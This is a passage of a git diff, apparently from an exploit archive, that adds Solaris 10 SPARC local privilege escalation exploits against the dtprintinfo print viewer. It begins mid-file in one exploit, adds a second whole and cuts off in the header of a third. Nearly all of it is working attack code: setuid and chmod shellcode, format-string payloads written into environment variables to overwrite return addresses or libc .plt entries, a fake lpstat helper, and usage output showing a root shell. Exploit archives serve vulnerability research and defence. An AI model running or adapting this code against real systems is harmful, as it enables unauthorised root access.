+#include <link.h>
+#include <procfs.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <strings.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <sys/systeminfo.h>
+
+#define INFO1	"raptor_dtprintcheckdir_sparc.c - Solaris/SPARC FMT PoC"
+#define INFO2	"Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
+
+#define	VULN		"/usr/dt/bin/dtprintinfo"	// vulnerable program
+#define	BUFSIZE		3000				// size of evil env var
+#define	BUFSIZE2	10000				// size of padding buf
+#define	STACKPOPSEQ	"%.8x"				// stackpop sequence
+#define	STACKPOPS	383				// number of stackpops
+
+/* default retloc and offset for sprintf() */
+#define RETLOC		0xffbfbb3c			// saved ret location
+#define OFFSET		84				// offset from retloc to i0loc
+
+/* default retloc and offset for check_dir() */
+/* TODO: patch %i6 that gets corrupted by overflow */
+//#define RETLOC	0xffbfbbac			// default saved ret location
+//#define OFFSET	1884				// default offset from retloc to i0loc
+
+/* split an address in 4 bytes */
+#define SPLITB(B1, B2, B3, B4, ADDR) {	\
+	B4 = (ADDR & 0x000000ff);	\
+	B3 = (ADDR & 0x0000ff00) >> 8;	\
+	B2 = (ADDR & 0x00ff0000) >> 16;	\
+	B1 = (ADDR & 0xff000000) >> 24;	\
+}
+
+/* calculate numeric arguments for write string */
+#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) {	\
+	N1 = (B4 - BASE)			% 0x100;	\
+	N2 = (B2 - BASE - N1)			% 0x100;	\
+	N3 = (B1 - BASE - N1 - N2)		% 0x100;	\
+	N4 = (B3 - BASE - N1 - N2 - N3)		% 0x100;	\
+	BASE += N1 + N2 + N3 + N4;				\
+}
+
+//#define USE_EXEC_SC		// uncomment to use exec shellcode
+
+#ifdef USE_EXEC_SC
+	char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
+	/* setuid(0) */
+	"\x90\x08\x3f\xff"	/* and  %g0, -1, %o0		*/
+	"\x82\x10\x20\x17"	/* mov  0x17, %g1		*/
+	"\x91\xd0\x20\x08"	/* ta   8			*/
+	/* execve("/bin/ksh", argv, NULL) */
+	"\x9f\x41\x40\x01"	/* rd   %pc,%o7 ! >= sparcv8+	*/
+	"\x90\x03\xe0\x28"	/* add  %o7, 0x28, %o0		*/
+	"\x92\x02\x20\x10"	/* add  %o0, 0x10, %o1		*/
+	"\xc0\x22\x20\x08"	/* clr  [ %o0 + 8 ]		*/
+	"\xd0\x22\x20\x10"	/* st   %o0, [ %o0 + 0x10 ]	*/
+	"\xc0\x22\x20\x14"	/* clr  [ %o0 + 0x14 ]		*/
+	"\x82\x10\x20\x0b"	/* mov  0xb, %g1		*/
+	"\x91\xd0\x20\x08"	/* ta   8			*/
+	"\x80\x1c\x40\x11"	/* xor  %l1, %l1, %g0 ! nop	*/
+	"\x41\x41\x41\x41"	/* placeholder			*/
+	"/bin/ksh";
+#else
+	char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
+	/* setuid(0) */
+	"\x90\x08\x3f\xff"	/* and  %g0, -1, %o0		*/
+	"\x82\x10\x20\x17"	/* mov  0x17, %g1		*/
+	"\x91\xd0\x20\x08"	/* ta   8			*/
+	/* chmod("/bin/ksh", 037777777777) */
+	"\x92\x20\x20\x01"	/* sub  %g0, 1, %o1		*/
+	"\x20\xbf\xff\xff"	/* bn,a <sc - 4>		*/
+	"\x20\xbf\xff\xff"	/* bn,a <sc>			*/
+	"\x7f\xff\xff\xff"	/* call <sc + 4>		*/
+	"\x90\x03\xe0\x20"	/* add  %o7, 0x20, %o0		*/
+	"\xc0\x22\x20\x08"	/* clr  [ %o0 + 8 ]		*/
+	"\x82\x10\x20\x0f"	/* mov  0xf, %g1		*/
+	"\x91\xd0\x20\x08"	/* ta   8			*/
+	/* exit(0) */
+	"\x90\x08\x3f\xff"	/* and  %g0, -1, %o0		*/
+	"\x82\x10\x20\x01"	/* mov  1, %g1			*/
+	"\x91\xd0\x20\x08"	/* ta   8			*/
+	"/bin/ksh";
+#endif /* USE_EXEC_SC */
+
+/* globals */
+char	*arg[2] = {"foo", NULL};
+char	*env[256];
+int	env_pos = 0, env_len = 0;
+
+/* prototypes */
+int	add_env(char *string);
+void	check_zero(int addr, char *pattern);
+int	get_env_addr(char *path, char **argv);
+int	search_ldso(char *sym);
+int	search_rwx_mem(void);
+void	set_val(char *buf, int pos, int val);
+
+/*
+ * main()
+ */
+int main(int argc, char **argv)
+{
+	char		buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
+	char		platform[256], release[256], display[256];
+	int		env_addr, sc_addr, retloc = RETLOC, i0loc, i1loc, i7loc;
+	int		offset = OFFSET;
+
+	int		sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
+	int		ret = search_ldso("sprintf");
+	int		rwx_mem = search_rwx_mem() + 24; /* stable address */
+
+	int		i, stackpops = STACKPOPS;
+	unsigned char	b1, b2, b3, b4;
+	unsigned	base, n[16]; /* must be unsigned */
+
+	/* lpstat code to add a fake printer */
+	if (!strcmp(argv[0], "lpstat")) {
+
+		/* check command line */
+		if (argc != 2)
+			exit(1);
+
+		/* print the expected output and exit */
+		if(!strcmp(argv[1], "-v")) {
+			fprintf(stderr, "lpstat called with -v\n");
+			printf("device for fnord: /dev/null\n");
+		} else {
+			fprintf(stderr, "lpstat called with -d\n");
+			printf("system default destination: fnord\n");
+		}
+		exit(0);
+	}
+
+	/* helper program that prints argv[0] address, used by get_env_addr() */
+	if (!strcmp(argv[0], "foo")) {
+		printf("0x%p\n", argv[0]);
+		exit(0);
+	}
+
+	/* print exploit information */
+	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+	/* process command line */
+	if ((argc < 2) || (argc > 4)) {
+#ifdef USE_EXEC_SC
+		fprintf(stderr, "usage: %s xserver:display [retloc] [offset]\n\n", argv[0]);
+#else
+		fprintf(stderr, "usage:\n$ %s xserver:display [retloc] [offset]\n$ /bin/ksh\n\n", argv[0]);
+#endif /* USE_EXEC_SC */
+		exit(1);
+	}
+	sprintf(display, "DISPLAY=%s", argv[1]);
+	if (argc > 2)
+		retloc = (int)strtoul(argv[2], (char **)NULL, 0);
+	if (argc > 3)
+		offset = (int)strtoul(argv[3], (char **)NULL, 0);
+
+	/* calculate saved %i0 and %i7 locations based on retloc */
+	i0loc = retloc + offset;
+	i1loc = i0loc + 4;
+	i7loc = i0loc + 28;
+
+	/* evil env var: name + shellcode + padding */
+	memset(buf, 'A', sizeof(buf));
+	buf[sizeof(buf) - 1] = 0x0;
+	memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
+	p += strlen("REQ_DIR=");
+
+	/* padding buffer to avoid stack overflow */
+	memset(buf2, 'B', sizeof(buf2));
+	buf2[sizeof(buf2) - 1] = 0x0;
+
+	/* fill the envp, keeping padding */
+	add_env(buf2);
+	add_env(buf);
+	add_env(display);
+	add_env("TMP_DIR=/tmp");
+	add_env("PATH=.:/usr/bin");
+	sc_addr = add_env("HOME=/tmp");
+	add_env(sc);
+	add_env(NULL);
+
+	/* calculate the needed addresses */
+	env_addr = get_env_addr(VULN, argv);
+	sc_addr += env_addr;
+
+#ifdef USE_EXEC_SC
+	/* populate exec shellcode placeholder */
+	set_val(sc, 48, sb - 1024);
+#endif /* USE_EXEC_SC */
+
+	/* format string: saved ret */
+	*((void **)p) = (void *)(retloc); p += 4; 	/* 0x000000ff */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(retloc); p += 4; 	/* 0x00ff0000 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(retloc); p += 4; 	/* 0xff000000 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(retloc + 2); p += 4; 	/* 0x0000ff00 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+
+	/* format string: saved %i0: 1st arg to sprintf() */
+	*((void **)p) = (void *)(i0loc); p += 4; 	/* 0x000000ff */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i0loc); p += 4; 	/* 0x00ff0000 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i0loc); p += 4; 	/* 0xff000000 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i0loc + 2); p += 4; 	/* 0x0000ff00 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+
+	/* format string: saved %i7: return address */
+	*((void **)p) = (void *)(i7loc); p += 4; 	/* 0x000000ff */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i7loc); p += 4; 	/* 0x00ff0000 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i7loc); p += 4; 	/* 0xff000000 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i7loc + 2); p += 4; 	/* 0x0000ff00 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+
+	/* format string: saved %i1: 2nd arg to sprintf() */
+	*((void **)p) = (void *)(i1loc); p += 4; 	/* 0x000000ff */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i1loc); p += 4; 	/* 0x00ff0000 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i1loc); p += 4; 	/* 0xff000000 */
+	memset(p, 'A', 4); p += 4; 			/* dummy      */
+	*((void **)p) = (void *)(i1loc + 2); p += 4; 	/* 0x0000ff00 */
+
+	/* format string: stackpop sequence */
+	base = p - buf - strlen("REQ_DIR=");
+	for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
+		memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
+
+	/* calculate numeric arguments for retloc */
+	SPLITB(b1, b2, b3, b4, (ret - 4));
+	CALCARGS(n[0], n[1], n[2], n[3], b1, b2, b3, b4, base);
+
+	/* calculate numeric arguments for i0loc */
+	SPLITB(b1, b2, b3, b4, rwx_mem);
+	CALCARGS(n[4], n[5], n[6], n[7], b1, b2, b3, b4, base);
+
+	/* calculate numeric arguments for i7loc */
+	SPLITB(b1, b2, b3, b4, (rwx_mem - 8));
+	CALCARGS(n[8], n[9], n[10], n[11], b1, b2, b3, b4, base);
+
+	/* calculate numeric arguments for i1loc */
+	SPLITB(b1, b2, b3, b4, sc_addr);
+	CALCARGS(n[12], n[13], n[14], n[15], b1, b2, b3, b4, base);
+
+	/* check for potentially dangerous numeric arguments below 10 */
+	for (i = 0; i < 16; i++)
+		n[i] += (n[i] < 10) ? (0x100) : (0);
+
+	/* format string: write string */
+	sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[0], n[1], n[2], n[3], n[4], n[5], n[6], n[7], n[8], n[9], n[10], n[11], n[12], n[13], n[14], n[15]);
+	buf[strlen(buf)] = 'A'; /* preserve buf length */
+
+	/* we need at least one directory inside TMP_DIR to trigger the bug */
+	mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO);
+
+	/* create a symlink for the fake lpstat */
+	unlink("lpstat");
+	symlink(argv[0], "lpstat");
+
+	/* print some output */
+	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
+	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
+	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
+	fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
+	fprintf(stderr, "Using ret location\t: 0x%p\n", (void *)retloc);
+	fprintf(stderr, "Using %%i0 location\t: 0x%p\n", (void *)i0loc);
+	fprintf(stderr, "Using %%i1 location\t: 0x%p\n", (void *)i1loc);
+	fprintf(stderr, "Using %%i7 location\t: 0x%p\n", (void *)i7loc);
+	fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
+	fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
+	fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
+
+	/* check for null bytes (add some padding to env if needed) */
+	check_zero(retloc, "ret location");
+	check_zero(i0loc, "%%i0 location");
+	check_zero(i1loc, "%%i1 location");
+	check_zero(i7loc, "%%i7 location");
+	check_zero(rwx_mem, "rwx_mem address");
+	check_zero(sc_addr, "sc address");
+
+	/* run the vulnerable program */
+	execve(VULN, arg, env);
+	perror("execve");
+	exit(1);
+}
+
+/*
+ * add_env(): add a variable to envp and pad if needed
+ */
+int add_env(char *string)
+{
+	int	i;
+
+	/* null termination */
+	if (!string) {
+		env[env_pos] = NULL;
+		return env_len;
+	}
+
+	/* add the variable to envp */
+	env[env_pos] = string;
+	env_len += strlen(string) + 1;
+	env_pos++;
+
+	/* pad the envp using zeroes */
+	if ((strlen(string) + 1) % 4)
+		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
+			env[env_pos] = string + strlen(string);
+			env_len++;
+		}
+
+	return env_len;
+}
+
+/*
+ * check_zero(): check an address for the presence of a 0x00
+ */
+void check_zero(int addr, char *pattern)
+{
+	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
+	    !(addr & 0xff000000)) {
+		fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
+		exit(1);
+	}
+}
+
+/*
+ * get_env_addr(): get environment address using a helper program
+ */
+int get_env_addr(char *path, char **argv)
+{
+	char	prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+	char	hex[11] = "\x00";
+	int	fd[2], addr;
+
+	/* truncate program name at correct length and create a hard link */
+	prog[strlen(path)] = 0x0;
+	unlink(prog);
+	link(argv[0], prog);
+
+	/* open pipe to read program output */
+	if (pipe(fd) < 0) {
+		perror("pipe");
+		exit(1);
+	}
+
+	switch(fork()) {
+
+	case -1: /* cannot fork */
+		perror("fork");
+		exit(1);
+
+	case 0: /* child */
+		dup2(fd[1], 1);
+		close(fd[0]);
+		close(fd[1]);
+		execve(prog, arg, env);
+		perror("execve");
+		exit(1);
+
+	default: /* parent */
+		close(fd[1]);
+		read(fd[0], hex, sizeof(hex));
+		break;
+	}
+
+	/* check and return address */
+	if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
+		fprintf(stderr, "error: cannot read ff address from helper program\n");
+		exit(1);
+	}
+	return addr + 4;
+}
+
+/*
+ * search_ldso(): search for a symbol inside ld.so.1
+ */
+int search_ldso(char *sym)
+{
+	int		addr;
+	void		*handle;
+	Link_map	*lm;
+
+	/* open the executable object file */
+	if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
+		perror("dlopen");
+		exit(1);
+	}
+
+	/* get dynamic load information */
+	if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
+		perror("dlinfo");
+		exit(1);
+	}
+
+	/* search for the address of the symbol */
+	if ((addr = (int)dlsym(handle, sym)) == NULL) {
+		fprintf(stderr, "error: sorry, function %s() not found\n", sym);
+		exit(1);
+	}
+
+	/* close the executable object file */
+	dlclose(handle);
+
+	check_zero(addr - 4, sym);
+	return addr;
+}
+
+/*
+ * search_rwx_mem(): search for an RWX memory segment valid for all
+ * programs (typically, /usr/lib/ld.so.1) using the proc filesystem
+ */
+int search_rwx_mem(void)
+{
+	int	fd;
+	char	tmp[16];
+	prmap_t	map;
+	int	addr = 0, addr_old;
+
+	/* open the proc filesystem */
+	sprintf(tmp,"/proc/%d/map", (int)getpid());
+	if ((fd = open(tmp, O_RDONLY)) < 0) {
+		fprintf(stderr, "error: can't open %s\n", tmp);
+		exit(1);
+	}
+
+	/* search for the last RWX memory segment before stack (last - 1) */
+	while (read(fd, &map, sizeof(map)))
+		if (map.pr_vaddr)
+			if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
+				addr_old = addr;
+				addr = map.pr_vaddr;
+			}
+	close(fd);
+
+	/* add 4 to the exact address null bytes */
+	if (!(addr_old & 0xff))
+		addr_old |= 0x04;
+	if (!(addr_old & 0xff00))
+		addr_old |= 0x0400;
+
+	return addr_old;
+}
+
+/*
+ * set_val(): copy a dword inside a buffer
+ */
+void set_val(char *buf, int pos, int val)
+{
+	buf[pos] =	(val & 0xff000000) >> 24;
+	buf[pos + 1] =	(val & 0x00ff0000) >> 16;
+	buf[pos + 2] =	(val & 0x0000ff00) >> 8;
+	buf[pos + 3] =	(val & 0x000000ff);
+}
\ No newline at end of file
diff --git a/exploits/solaris/local/49517.c b/exploits/solaris/local/49517.c
new file mode 100644
index 000000000..4b881b59b
--- /dev/null
+++ b/exploits/solaris/local/49517.c
@@ -0,0 +1,309 @@
+# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2)
+# Date: 2021-02-01
+# Exploit Author: Marco Ivaldi
+# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
+# Version: Solaris 10
+# Tested on: Solaris 10 1/13 SPARC
+
+/*
+ * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
+ * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
+ *
+ * "You still haven't given up on me?" -- Bruce Wayne
+ * "Never!" -- Alfred Pennyworth
+ *
+ * I would like to thank ~A. for his incredible research work spanning decades,
+ * an endless source of inspiration for me.
+ *
+ * Whoah, this one wasn't easy! This is a pretty lean exploit now, but its
+ * development took me some time. It's been almost two weeks, and I came
+ * close to giving up a couple of times. Here's a summary of the main 
+ * roadblocks and complications I ran into while porting my dtprintinfo 
+ * format string exploit to SPARC:
+ *
+ * - Half word writes and similar techniques that need to print a large amount
+ *   of chars are problematic, because we have both a format string bug and a
+ *   stack-based buffer overflow, and we risk running out of stack space! We
+ *   might be able to prevent this by increasing the size of the padding buffer,
+ *   (buf2) but your mileage may vary.
+ *
+ * - I therefore opted for a more portable single-byte write, but SPARC is a
+ *   RISC architecture and as such it's not happy with memory operations on 
+ *   misaligned addresses... So I had to figure out a possibly novel technique 
+ *   to prevent the dreaded Bus Error. It involves the %hhn format string, check
+ *   it out!
+ *
+ * - Once I had my write-what primitive figured out, I needed to pick a suitable
+ *   memory location to patch... and I almost ran out of options. Function
+ *   activation records turned out to be cumbersome and unreliable (see my PoC
+ *   raptor_dtprintcheckdir_sparc.c), .plt entries in the vulnerable binary 
+ *   start with a null byte, and the usual OS function pointers that were 
+ *   popular targets 15 years ago are not present in modern Solaris 10 releases
+ *   anymore. Finally, I noticed that the libc also contains .plt jump codes 
+ *   that get executed upon function calling. Since they don't start with a null
+ *   byte, I decided to target them.
+ *
+ * - Instead of meddling with jump codes, to keep things simpler I decided to 
+ *   craft the shellcode directly in the .plt section of libc by exploiting the 
+ *   format string bug. This technique proved to be very effective, but 
+ *   empirical tests showed that (for unknown reasons) the shellcode size was 
+ *   limited to 36 bytes. It looks like there's a limit on the number of args,
+ *   to sprintf(), unrelated to where we write in memory. Who cares, 36 bytes 
+ *   are just enough to escalate privileges.
+ *
+ * After I plugged a small custom shellcode into my exploit, it worked like a
+ * charm. Simple, isn't it?;)
+ *
+ * To get the libc base, use pmap on the dtprintinfo process, e.g.:
+ * $ pmap 4190 | grep libc.so.1 | grep r-x
+ * FE800000    1224K r-x--  /lib/libc.so.1
+ *
+ * To grab the offset to strlen in .plt, you can use objdump as follows:
+ * $ objdump -R /usr/lib/libc.so.1 | grep strlen
+ * 0014369c R_SPARC_JMP_SLOT  strlen
+ *
+ * This bug was likely fixed during the general cleanup of CDE code done by
+ * Oracle in response to my recently reported vulnerabilities. However, I can't
+ * confirm this because I have no access to their patches:/
+ *
+ * See also:
+ * raptor_dtprintcheckdir_intel.c (vulnerability found by Marti Guasch Jimenez)
+ * raptor_dtprintcheckdir_intel2.c
+ * raptor_dtprintcheckdir_sparc.c (just a proof of concept)
+ *
+ * Usage:
+ * $ gcc raptor_dtprintcheckdir_sparc2.c -o raptor_dtprintcheckdir_sparc2 -Wall
+ * [on your xserver: disable the access control]
+ * $ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0
+ * raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE
+ * Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>
+ * 
+ * Using SI_PLATFORM       : SUNW,SPARC-Enterprise (5.10)
+ * Using libc/.plt/strlen  : 0xfe94369c
+ * 
+ * Don't worry if you get a SIGILL, just run /bin/ksh anyway!
+ * 
+ * lpstat called with -v
+ * lpstat called with -v
+ * lpstat called with -d
+ * [on your xserver: double click on the fake "fnord" printer]
+ * Illegal Instruction
+ * $ ls -l /bin/ksh
+ * -rwsrwsrwx   3 root     bin       209288 Feb 21  2012 /bin/ksh
+ * $ ksh
+ * # id
+ * uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
+ * #
+ *
+ * Tested on:
+ * SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise
+ * [previous Solaris versions are also likely vulnerable (and easier to exploit)]
+ */
+
+#include <fcntl.h>
+#include <link.h>
+#include <procfs.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <strings.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <sys/systeminfo.h>
+
+#define INFO1	"raptor_dtprintcheckdir_sparc2.c - Solaris/SPARC FMT LPE"
+#define INFO2	"Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
+
+#define	VULN		"/usr/dt/bin/dtprintinfo"	// vulnerable program
+#define	BUFSIZE		3000				// size of evil env var
+#define	BUFSIZE2	10000				// size of padding buf
+#define	STACKPOPSEQ	"%.8x"				// stackpop sequence
+#define	STACKPOPS	383				// number of stackpops
+
+/* default retloc is .plt/strlen in libc */
+#define LIBCBASE	0xfe800000			// base address of libc
+#define STRLEN		0x0014369c			// .plt/strlen offset
+
+/* calculate numeric arguments for write string */
+#define CALCARGS(N1, N2, N3, N4, B1, B2, B3, B4, BASE) {	\
+	N1 = (B4 - BASE)			% 0x100;	\
+	N2 = (B2 - BASE - N1)			% 0x100;	\
+	N3 = (B1 - BASE - N1 - N2)		% 0x100;	\
+	N4 = (B3 - BASE - N1 - N2 - N3)		% 0x100;	\
+	BASE += N1 + N2 + N3 + N4;				\
+}
+
+char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */
+/* chmod("./me", 037777777777) */
+"\x92\x20\x20\x01"	/* sub  %g0, 1, %o1		*/
+"\x20\xbf\xff\xff"	/* bn,a <sc - 4>		*/
+"\x20\xbf\xff\xff"	/* bn,a <sc>			*/
+"\x7f\xff\xff\xff"	/* call <sc + 4>		*/
+"\x90\x03\xe0\x14"	/* add  %o7, 0x14, %o0		*/
+"\xc0\x22\x20\x04"	/* clr  [ %o0 + 4 ]		*/
+"\x82\x10\x20\x0f"	/* mov  0xf, %g1		*/
+"\x91\xd0\x20\x08"	/* ta   8			*/
+"./me";
+
+/* globals */
+char	*arg[2] = {"foo", NULL};
+char	*env[256];
+int	env_pos = 0, env_len = 0;
+
+/* prototypes */
+int	add_env(char *string);
+void	check_zero(int addr, char *pattern);
+
+/*
+ * main()
+ */
+int main(int argc, char **argv)
+{
+	char		buf[BUFSIZE], *p = buf, buf2[BUFSIZE2];
+	char		platform[256], release[256], display[256];
+	int     	retloc = LIBCBASE + STRLEN;
+
+	int		i, stackpops = STACKPOPS;
+	unsigned	base, n[strlen(sc)]; /* must be unsigned */
+
+	/* lpstat code to add a fake printer */
+	if (!strcmp(argv[0], "lpstat")) {
+
+		/* check command line */
+		if (argc != 2)
+			exit(1);
+
+		/* print the expected output and exit */
+		if(!strcmp(argv[1], "-v")) {
+			fprintf(stderr, "lpstat called with -v\n");
+			printf("device for fnord: /dev/null\n");
+		} else {
+			fprintf(stderr, "lpstat called with -d\n");
+			printf("system default destination: fnord\n");
+		}
+		exit(0);
+	}
+
+	/* print exploit information */
+	fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
+
+	/* process command line */
+	if (argc < 2) {
+		fprintf(stderr, "usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]);
+		exit(1);
+	}
+	sprintf(display, "DISPLAY=%s", argv[1]);
+	if (argc > 2)
+		retloc = (int)strtoul(argv[2], (char **)NULL, 0);
+
+	/* evil env var: name + shellcode + padding */
+	bzero(buf, sizeof(buf));
+	memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));
+	p += strlen("REQ_DIR=");
+
+	/* padding buffer to avoid stack overflow */
+	memset(buf2, 'B', sizeof(buf2));
+	buf2[sizeof(buf2) - 1] = 0x0;
+
+	/* fill the envp, keeping padding */
+	add_env(buf2);
+	add_env(buf);
+	add_env(display);
+	add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */
+	add_env("PATH=.:/usr/bin");
+	add_env("HOME=/tmp");
+	add_env(NULL);
+
+	/* format string: retloc */
+	for (i = retloc; i - retloc < strlen(sc); i += 4) {
+		check_zero(i, "ret location");
+		*((void **)p) = (void *)(i); p += 4; 		/* 0x000000ff */
+		memset(p, 'A', 4); p += 4; 			/* dummy      */
+		*((void **)p) = (void *)(i); p += 4; 		/* 0x00ff0000 */
+		memset(p, 'A', 4); p += 4; 			/* dummy      */
+		*((void **)p) = (void *)(i); p += 4; 		/* 0xff000000 */
+		memset(p, 'A', 4); p += 4; 			/* dummy      */
+		*((void **)p) = (void *)(i + 2); p += 4; 	/* 0x0000ff00 */
+		memset(p, 'A', 4); p += 4; 			/* dummy      */
+	}
+
+	/* format string: stackpop sequence */
+	base = p - buf - strlen("REQ_DIR=");
+	for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)
+		memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));
+
+	/* calculate numeric arguments */
+	for (i = 0; i < strlen(sc); i += 4)
+		CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i], sc[i + 1], sc[i + 2], sc[i + 3], base);
+	
+	/* check for potentially dangerous numeric arguments below 10 */
+	for (i = 0; i < strlen(sc); i++)
+		n[i] += (n[i] < 10) ? (0x100) : (0);
+
+	/* format string: write string */
+	for (i = 0; i < strlen(sc); i += 4)
+		p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn", n[i], n[i + 1], n[i + 2], n[i + 3]);
+
+	/* setup the directory structure and the symlink to /bin/ksh */
+	unlink("/tmp/just/chmod/me");
+	rmdir("/tmp/just/chmod");
+	rmdir("/tmp/just");
+	mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO);
+	mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO);
+	symlink("/bin/ksh", "/tmp/just/chmod/me");
+
+	/* create a symlink for the fake lpstat */
+	unlink("lpstat");
+	symlink(argv[0], "lpstat");
+
+	/* print some output */
+	sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
+	sysinfo(SI_RELEASE, release, sizeof(release) - 1);
+	fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
+	fprintf(stderr, "Using libc/.plt/strlen\t: 0x%p\n\n", (void *)retloc);
+	fprintf(stderr, "Don't worry if you get a SIGILL, just run /bin/ksh anyway!\n\n");
+
+	/* run the vulnerable program */
+	execve(VULN, arg, env);
+	perror("execve");
+	exit(1);
+}
+
+/*
+ * add_env(): add a variable to envp and pad if needed
+ */
+int add_env(char *string)
+{
+	int	i;
+
+	/* null termination */
+	if (!string) {
+		env[env_pos] = NULL;
+		return env_len;
+	}
+
+	/* add the variable to envp */
+	env[env_pos] = string;
+	env_len += strlen(string) + 1;
+	env_pos++;
+
+	/* pad the envp using zeroes */
+	if ((strlen(string) + 1) % 4)
+		for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
+			env[env_pos] = string + strlen(string);
+			env_len++;
+		}
+
+	return env_len;
+}
+
+/*
+ * check_zero(): check an address for the presence of a 0x00
+ */
+void check_zero(int addr, char *pattern)
+{
+	if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
+	    !(addr & 0xff000000)) {
+		fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
+		exit(1);
+	}
+}
\ No newline at end of file
diff --git a/exploits/solaris/local/49518.c b/exploits/solaris/local/49518.c
new file mode 100644
index 000000000..8dcd6c8ed
--- /dev/null
+++ b/exploits/solaris/local/49518.c
@@ -0,0 +1,437 @@
+# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)
+# Date: 2021-02-01
+# Exploit Author: Marco Ivaldi
+# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
+# Version: Solaris 10
+# Tested on: Solaris 10 1/13 SPARC
+
+/*
+ * raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC
+ * Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
+ *
+ * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
+ * local root. Many thanks to Dave Aitel for discovering this vulnerability
+ * and for his interesting research activities on Solaris/SPARC.
+ *
+ * "None of my dtprintinfo work is public, other than that 0day pack being
+ * leaked to all hell and back. It should all basically still work. Let's
+ * keep it that way, cool? :>" -- Dave Aitel
+ *
+ * This is a revised version of my original exploit that should work on 
+ * modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain 
